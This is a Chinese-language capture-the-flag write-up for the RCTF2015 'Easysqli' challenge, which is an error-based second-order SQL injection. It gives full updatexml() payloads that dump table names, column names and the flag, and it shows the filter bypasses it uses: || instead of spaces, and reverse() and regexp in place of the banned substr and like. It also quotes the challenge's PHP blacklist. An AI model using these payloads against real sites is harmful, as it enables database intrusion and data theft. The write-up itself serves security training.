RCTF2015 Easysqli

0x00

题目类型:报错型二次注入。

0x01

注册用户名为test",进入changepwd.php,更改密码后发现报错信息。

确认存在sql二次注入,爬虫还爬到了phpinfo.php,可以看到是mysql5.5.62版本。顺便吐槽BUU的限制真严格,开一个线程跑也会429。

构造username=test"+updatexml(1,concat(0x7e,(select(database()))),1)%23,出现报错信息。

猜测后台更新语句为update * from user where username="username" and pwd = 'xxxx',实际上他长这样。

$sql = "update users set pwd='$newpass' where name="$username" and pwd='$oldpass'"

ban掉了空格,构造payload为:

test"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#

查得三个表:articles,flag,users,flag在users表中。

test"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#

BAN掉了substr和like,可以用reverse和regexp绕过。

列名显示不全,可以用reverse函数倒序输出一下;或者正则匹配首字母r,只输出该列名。


test"||(updatexml(1,concat(0x7e,(select(reverse(group_concat(column_name)))from(information_schema.columns)where(table_name='users'))),1))#
test"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1)#

输出长度有限制,注两次拿到flag。

test"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#
test"||(updatexml(1,concat(0x7e,(select(reverse(group_concat(real_flag_1s_here)))from(users)where(real_flag_1s_here)regexp('^f'))),1))#

0x02

小结一下,该题过滤如下:

function check($string)
{
    //$string = preg_replace("#(s)|(/*.**/)#i", "", $string);
    $postfilter = "#(s)|(/*.**/)|file|insert|<|and|floor|ord|char|ascii|mid|left|right|hex|sleep|benchmark|substr|@|`|delete|like#i";
    if(preg_match($postfilter, $string,$matches))
    {
        echo "<script>alert('invalid string!')</script>";
        die();
    }
    else
        return $string;
}

substr不能用,用reverse输出可以拼凑出字符串;like不能用,可以用regexp正则匹配。

整理整体逻辑,注册对用户名与密码做了严格限制,不过仍然可以绕过并使用报错注入。payload在注册登陆后不触发,而是在修改密码时触发更新操作,从而触发payload。

原文地址:https://www.cnblogs.com/BlueDoor1999/p/13302888.html